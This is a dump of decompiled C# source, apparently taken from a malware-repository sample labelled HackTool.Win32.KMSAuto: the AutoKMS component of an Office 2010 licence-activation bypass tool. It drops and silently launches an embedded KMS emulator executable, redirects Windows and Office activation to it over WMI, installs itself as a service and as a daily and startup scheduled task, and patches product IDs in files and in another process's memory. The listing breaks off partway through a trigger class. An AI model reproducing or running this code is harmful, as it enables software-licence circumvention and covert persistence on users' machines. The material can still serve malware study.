||||
|
||||
public static void HandleReadOnly()
|
||||
{
|
||||
string str = Directory.GetCurrentDirectory() + "\\Settings.ini";
|
||||
FileInfo fileInfo = new FileInfo(str);
|
||||
if (fileInfo.Exists)
|
||||
{
|
||||
Settings.INIExists = true;
|
||||
if (!fileInfo.IsReadOnly)
|
||||
return;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Settings.INIExists = false;
|
||||
try
|
||||
{
|
||||
File.Create(str).Dispose();
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
Settings.ReadOnlyFolder = true;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Settings.ReadOnlyFolder = true;
|
||||
Settings.ReadOnlyFile = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Configuration.SettingsIDObject
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit.Configuration
|
||||
{
|
||||
public class SettingsIDObject
|
||||
{
|
||||
public string ID;
|
||||
|
||||
public SettingsIDObject() => this.ID = "2.1.6";
|
||||
}
|
||||
}
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Logic.Activation
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using AutoKMS.Properties;
|
||||
using HybridService;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Management;
|
||||
using System.Threading;
|
||||
using TaskScheduler;
|
||||
|
||||
namespace Office_2010_Toolkit.Logic
|
||||
{
|
||||
internal class Activation
|
||||
{
|
||||
public static string Account = "";
|
||||
public static string Password = (string) null;
|
||||
public static bool AKInstallFailure = false;
|
||||
public static bool ARInstallFailure = false;
|
||||
public static bool AKUnInstallFailure = false;
|
||||
public static bool ARUnInstallFailure = false;
|
||||
public static int LicensedProducts = 0;
|
||||
public static int UnLicensedProducts = 0;
|
||||
public static string AutoKMSInstallPath = string.Empty;
|
||||
public static string AutoRearmInstallPath = string.Empty;
|
||||
public static string KMSEmulatorInstallPath = string.Empty;
|
||||
|
||||
public static string CheckActivation(bool AppCall)
|
||||
{
|
||||
string str1 = string.Empty;
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
Activation.LicensedProducts = 0;
|
||||
Activation.UnLicensedProducts = 0;
|
||||
foreach (ManagementObject managementObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM OfficeSoftwareProtectionProduct").Get())
|
||||
{
|
||||
int int32 = Convert.ToInt32(managementObject["LicenseStatus"]);
|
||||
long int64 = Convert.ToInt64(managementObject["LicenseStatusReason"]);
|
||||
double num1 = Convert.ToDouble(managementObject["GracePeriodRemaining"]);
|
||||
string str2 = int64 != 0L ? "0x" + int64.ToString("X8") : "0 as licensed";
|
||||
if (int32 != 0)
|
||||
{
|
||||
++Activation.LicensedProducts;
|
||||
string str3 = int32 != 1 ? (int32 != 2 ? (int32 != 3 ? (int32 != 4 ? (int32 != 5 ? (int32 != 6 ? "Unknown" : "Extended Grace Period") : "Notifications Mode") : "Non-Genuine Grace Period") : "Out-of-Tolerance Grace Period") : "Grace Period") : "Activated";
|
||||
double num2 = Math.Round(num1 / 1440.0);
|
||||
str1 = str1 + "---------------------------------------" + Environment.NewLine;
|
||||
str1 = str1 + "SKU ID: " + managementObject["ID"] + Environment.NewLine;
|
||||
string str4 = managementObject["OfflineInstallationId"].ToString();
|
||||
string str5 = str4.Substring(0, 6) + "-" + str4.Substring(6, 6) + "-" + str4.Substring(12, 6) + "-" + str4.Substring(18, 6) + "-" + str4.Substring(24, 6) + "-" + str4.Substring(30, 6) + "-" + str4.Substring(36, 6) + "-" + str4.Substring(42, 6) + "-" + str4.Substring(48, 6);
|
||||
str1 = str1 + "OID: " + str5 + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE NAME: Office 14, " + managementObject["LicenseFamily"] + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE DESCRIPTION: " + managementObject["Description"] + Environment.NewLine;
|
||||
str1 = str1 + "LICENSE STATUS: " + str3 + Environment.NewLine;
|
||||
str1 = str1 + "ERROR CODE: " + str2 + Environment.NewLine;
|
||||
str1 = str1 + "Last 5 characters of installed product key: " + managementObject["PartialProductKey"] + Environment.NewLine;
|
||||
if (str3 == "Activated" || str3 == "Grace Period" && num1 != 0.0)
|
||||
str1 = str1 + "REMAINING GRACE: " + (object) num2 + " days (" + (object) num1 + " minute(s) before expiring)" + Environment.NewLine;
|
||||
}
|
||||
else
|
||||
++Activation.UnLicensedProducts;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return "<No installed product keys installed or possible license error>";
|
||||
}
|
||||
if (Activation.LicensedProducts == 0 && Activation.UnLicensedProducts > 0)
|
||||
return "<No installed product keys detected>";
|
||||
return Activation.LicensedProducts == 0 && Activation.UnLicensedProducts == 0 ? "<No installed product keys installed or possible license error>" : str1 + "---------------------------------------";
|
||||
}
|
||||
|
||||
public static void RemoveKMSHost()
|
||||
{
|
||||
try
|
||||
{
|
||||
new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void RemoveKMSHostWindows()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
|
||||
empty = Convert.ToString(managementBaseObject["Version"]);
|
||||
new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null).InvokeMethod("ClearKeyManagementServiceMachine", (ManagementBaseObject) null, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void SetKMSHost()
|
||||
{
|
||||
try
|
||||
{
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "OfficeSoftwareProtectionService.Version='" + Common.OSPPSVCVersion + "'", (ObjectGetOptions) null);
|
||||
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
|
||||
methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
|
||||
managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void SetKMSHostWindows()
|
||||
{
|
||||
string empty = string.Empty;
|
||||
try
|
||||
{
|
||||
foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM SoftwareLicensingService").Get())
|
||||
empty = Convert.ToString(managementBaseObject["Version"]);
|
||||
ManagementObject managementObject = new ManagementObject("root\\CIMV2", "SoftwareLicensingService.Version='" + empty + "'", (ObjectGetOptions) null);
|
||||
ManagementBaseObject methodParameters = managementObject.GetMethodParameters("SetKeyManagementServiceMachine");
|
||||
methodParameters["MachineName"] = (object) Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.KMSServer;
|
||||
managementObject.InvokeMethod("SetKeyManagementServiceMachine", methodParameters, (InvokeMethodOptions) null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void StartKMSEmulator()
|
||||
{
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
Activation.KMSEmulatorInstallPath = Office_2010_Toolkit.Configuration.Settings.PathsSettings.KMSEmulator;
|
||||
Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Activation.KMSEmulatorInstallPath = Common.WINDIR;
|
||||
Console.WriteLine("Could not access KMSEmulator path set in Settings, using default installation path.");
|
||||
Common.FileCreate("KMSEmulator.exe", Resources.Keygen, Activation.KMSEmulatorInstallPath);
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = (Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe"),
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw;
|
||||
}
|
||||
Thread.Sleep(5000);
|
||||
}
|
||||
|
||||
public static void StopKMSEmulator()
|
||||
{
|
||||
foreach (Process process in Process.GetProcessesByName("KMSEmulator"))
|
||||
Common.KillProcess(process);
|
||||
if (!Office_2010_Toolkit.Configuration.Settings.AutoKMSSettings.AutoRemoveKMSEmulator)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Common.FileDelete(Activation.KMSEmulatorInstallPath + "\\KMSEmulator.exe");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public static void MakeAutoKMSService(string AutoKMSInstallPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
ServiceInstaller.InstallService(AutoKMSInstallPath + "\\AutoKMS.exe", "AutoKMS", "AutoKMS", true, false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new Exception();
|
||||
}
|
||||
}
|
||||
|
||||
public static void MakeAutoKMSNormalTask(string AutoKMSInstallPath)
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
Task task = scheduledTasks.CreateTask("AutoKMS");
|
||||
task.ApplicationName = AutoKMSInstallPath + "\\AutoKMS.exe";
|
||||
task.Parameters = "/Application";
|
||||
task.SetAccountInformation(Activation.Account, Activation.Password);
|
||||
task.Priority = ProcessPriorityClass.Normal;
|
||||
Trigger trigger = (Trigger) new DailyTrigger(Convert.ToInt16(DateTime.Now.Hour), Convert.ToInt16(DateTime.Now.Minute));
|
||||
task.Triggers.Add(trigger);
|
||||
task.Triggers.Add((Trigger) new OnSystemStartTrigger());
|
||||
task.Save();
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
|
||||
public static void DeleteAutoKMSNormalTask()
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
scheduledTasks.DeleteTask("AutoKMS");
|
||||
scheduledTasks.DeleteTask("AutoKMSDaily");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+101
@@ -0,0 +1,101 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Logic.KMSEditor
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using ProcessMemoryReaderLib;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Office_2010_Toolkit.Logic
|
||||
{
|
||||
internal class KMSEditor
|
||||
{
|
||||
public static Stream ConvertByteArrayToStream(byte[] input) => (Stream) new MemoryStream(input);
|
||||
|
||||
public static byte[] StrToByteArray(string str) => Encoding.Unicode.GetBytes(str);
|
||||
|
||||
public static string ReadPIDFromByteArray(byte[] KMSEmulator)
|
||||
{
|
||||
Stream stream = KMSEditor.ConvertByteArrayToStream(KMSEmulator);
|
||||
byte[] bytes = new byte[48];
|
||||
int index = 0;
|
||||
for (stream.Position = 136932L; stream.Position != 137028L; ++stream.Position)
|
||||
{
|
||||
bytes[index] = (byte) stream.ReadByte();
|
||||
++index;
|
||||
}
|
||||
return Encoding.ASCII.GetString(bytes);
|
||||
}
|
||||
|
||||
public static string ReadPIDFromFile(string path)
|
||||
{
|
||||
byte[] bytes = new byte[48];
|
||||
int index = 0;
|
||||
FileStream fileStream1;
|
||||
using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
|
||||
{
|
||||
for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
|
||||
{
|
||||
bytes[index] = (byte) fileStream2.ReadByte();
|
||||
++index;
|
||||
fileStream1 = fileStream2;
|
||||
}
|
||||
}
|
||||
return Encoding.ASCII.GetString(bytes);
|
||||
}
|
||||
|
||||
public static string ReadPIDFromMemory()
|
||||
{
|
||||
int bytesRead = 0;
|
||||
ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
|
||||
Process process = (Process) null;
|
||||
Process[] processes = Process.GetProcesses();
|
||||
IntPtr MemoryAddress = (IntPtr) 4331234;
|
||||
for (int index = 0; index < processes.Length; ++index)
|
||||
{
|
||||
if (processes[index].ProcessName == "KMSEmulator")
|
||||
process = processes[index];
|
||||
}
|
||||
processMemoryReader.ReadProcess = process;
|
||||
processMemoryReader.OpenProcess();
|
||||
return Encoding.Unicode.GetString(processMemoryReader.ReadProcessMemory(MemoryAddress, 98U, out bytesRead));
|
||||
}
|
||||
|
||||
public static void WritePIDToMemory(string PID)
|
||||
{
|
||||
int bytesWritten = 0;
|
||||
ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
|
||||
Process process = (Process) null;
|
||||
Process[] processes = Process.GetProcesses();
|
||||
IntPtr MemoryAddress = (IntPtr) 4331236;
|
||||
byte[] byteArray = KMSEditor.StrToByteArray(PID);
|
||||
for (int index = 0; index < processes.Length; ++index)
|
||||
{
|
||||
if (processes[index].ProcessName == "KMSEmulator")
|
||||
process = processes[index];
|
||||
}
|
||||
processMemoryReader.ReadProcess = process;
|
||||
processMemoryReader.OpenProcess();
|
||||
processMemoryReader.WriteProcessMemory(MemoryAddress, byteArray, out bytesWritten);
|
||||
}
|
||||
|
||||
public static void WritePIDToFile(string path, string PID)
|
||||
{
|
||||
int index = 0;
|
||||
FileStream fileStream1;
|
||||
using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
|
||||
{
|
||||
for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
|
||||
{
|
||||
fileStream2.WriteByte((byte) PID[index]);
|
||||
++index;
|
||||
fileStream1 = fileStream2;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Result
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit
|
||||
{
|
||||
public class Result
|
||||
{
|
||||
private int _ExitCode;
|
||||
private string _Output;
|
||||
public string _Error;
|
||||
|
||||
public int ExitCode
|
||||
{
|
||||
get => this._ExitCode;
|
||||
set => this._ExitCode = value;
|
||||
}
|
||||
|
||||
public string Output
|
||||
{
|
||||
get => this._Output;
|
||||
set => this._Output = value;
|
||||
}
|
||||
|
||||
public string Error
|
||||
{
|
||||
get => this._Error;
|
||||
set
|
||||
{
|
||||
this._Error = value;
|
||||
if (this._ExitCode != 0)
|
||||
return;
|
||||
this._ExitCode = -1;
|
||||
}
|
||||
}
|
||||
|
||||
public Result()
|
||||
{
|
||||
this._ExitCode = 0;
|
||||
this._Output = string.Empty;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(int Exit_Code)
|
||||
{
|
||||
this._ExitCode = Exit_Code;
|
||||
this._Output = string.Empty;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(string Out_Put)
|
||||
{
|
||||
this._ExitCode = 0;
|
||||
this._Output = Out_Put;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(int Exit_Code, string Out_Put)
|
||||
{
|
||||
this._ExitCode = Exit_Code;
|
||||
this._Output = Out_Put;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public bool HasError
|
||||
{
|
||||
get => this._ExitCode != 0;
|
||||
set
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ProcessMemoryReaderLib.ProcessMemoryReader
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace ProcessMemoryReaderLib
|
||||
{
|
||||
public class ProcessMemoryReader
|
||||
{
|
||||
private Process m_ReadProcess;
|
||||
private IntPtr m_hProcess = IntPtr.Zero;
|
||||
|
||||
public Process ReadProcess
|
||||
{
|
||||
get => this.m_ReadProcess;
|
||||
set => this.m_ReadProcess = value;
|
||||
}
|
||||
|
||||
public void OpenProcess() => this.m_hProcess = ProcessMemoryReaderApi.OpenProcess(56U, 1, (uint) this.m_ReadProcess.Id);
|
||||
|
||||
public void CloseHandle()
|
||||
{
|
||||
if (ProcessMemoryReaderApi.CloseHandle(this.m_hProcess) == 0)
|
||||
throw new Exception("CloseHandle failed");
|
||||
}
|
||||
|
||||
public byte[] ReadProcessMemory(IntPtr MemoryAddress, uint bytesToRead, out int bytesRead)
|
||||
{
|
||||
byte[] buffer = new byte[(IntPtr) bytesToRead];
|
||||
IntPtr lpNumberOfBytesRead;
|
||||
ProcessMemoryReaderApi.ReadProcessMemory(this.m_hProcess, MemoryAddress, buffer, bytesToRead, out lpNumberOfBytesRead);
|
||||
bytesRead = lpNumberOfBytesRead.ToInt32();
|
||||
return buffer;
|
||||
}
|
||||
|
||||
public void WriteProcessMemory(IntPtr MemoryAddress, byte[] bytesToWrite, out int bytesWritten)
|
||||
{
|
||||
IntPtr lpNumberOfBytesWritten;
|
||||
ProcessMemoryReaderApi.WriteProcessMemory(this.m_hProcess, MemoryAddress, bytesToWrite, (uint) bytesToWrite.Length, out lpNumberOfBytesWritten);
|
||||
bytesWritten = lpNumberOfBytesWritten.ToInt32();
|
||||
}
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ProcessMemoryReaderLib.ProcessMemoryReaderApi
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ProcessMemoryReaderLib
|
||||
{
|
||||
internal class ProcessMemoryReaderApi
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(
|
||||
uint dwDesiredAccess,
|
||||
int bInheritHandle,
|
||||
uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int ReadProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
[In, Out] byte[] buffer,
|
||||
uint size,
|
||||
out IntPtr lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
[In, Out] byte[] buffer,
|
||||
uint size,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessType
|
||||
{
|
||||
PROCESS_TERMINATE = 1,
|
||||
PROCESS_CREATE_THREAD = 2,
|
||||
PROCESS_SET_SESSIONID = 4,
|
||||
PROCESS_VM_OPERATION = 8,
|
||||
PROCESS_VM_READ = 16, // 0x00000010
|
||||
PROCESS_VM_WRITE = 32, // 0x00000020
|
||||
PROCESS_DUP_HANDLE = 64, // 0x00000040
|
||||
PROCESS_CREATE_PROCESS = 128, // 0x00000080
|
||||
PROCESS_SET_QUOTA = 256, // 0x00000100
|
||||
PROCESS_SET_INFORMATION = 512, // 0x00000200
|
||||
PROCESS_QUERY_INFORMATION = 1024, // 0x00000400
|
||||
}
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.DailyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class DailyTrigger : StartableTrigger
|
||||
{
|
||||
public DailyTrigger(short hour, short minutes, short daysInterval)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_DAILY;
|
||||
this.taskTrigger.Data.daily.DaysInterval = (ushort) daysInterval;
|
||||
}
|
||||
|
||||
public DailyTrigger(short hour, short minutes)
|
||||
: this(hour, minutes, (short) 1)
|
||||
{
|
||||
}
|
||||
|
||||
internal DailyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short DaysInterval
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.daily.DaysInterval;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.daily.DaysInterval = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.DaysOfTheWeek
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum DaysOfTheWeek : short
|
||||
{
|
||||
Sunday = 1,
|
||||
Monday = 2,
|
||||
Tuesday = 4,
|
||||
Wednesday = 8,
|
||||
Thursday = 16, // 0x0010
|
||||
Friday = 32, // 0x0020
|
||||
Saturday = 64, // 0x0040
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthlyDOWTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class MonthlyDOWTrigger : StartableTrigger
|
||||
{
|
||||
public MonthlyDOWTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
WhichWeek whichWeeks,
|
||||
MonthsOfTheYear months)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDOW;
|
||||
this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) whichWeeks;
|
||||
this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) daysOfTheWeek;
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) months;
|
||||
}
|
||||
|
||||
public MonthlyDOWTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
WhichWeek whichWeeks)
|
||||
: this(hour, minutes, daysOfTheWeek, whichWeeks, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
|
||||
{
|
||||
}
|
||||
|
||||
internal MonthlyDOWTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short WhichWeeks
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.monthlyDOW.WhichWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DaysOfTheWeek WeekDays
|
||||
{
|
||||
get => (DaysOfTheWeek) this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public MonthsOfTheYear Months
|
||||
{
|
||||
get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDOW.Months;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthlyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class MonthlyTrigger : StartableTrigger
|
||||
{
|
||||
public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth, MonthsOfTheYear months)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDATE;
|
||||
this.taskTrigger.Data.monthlyDate.Months = (ushort) months;
|
||||
this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(daysOfMonth);
|
||||
}
|
||||
|
||||
public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth)
|
||||
: this(hour, minutes, daysOfMonth, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
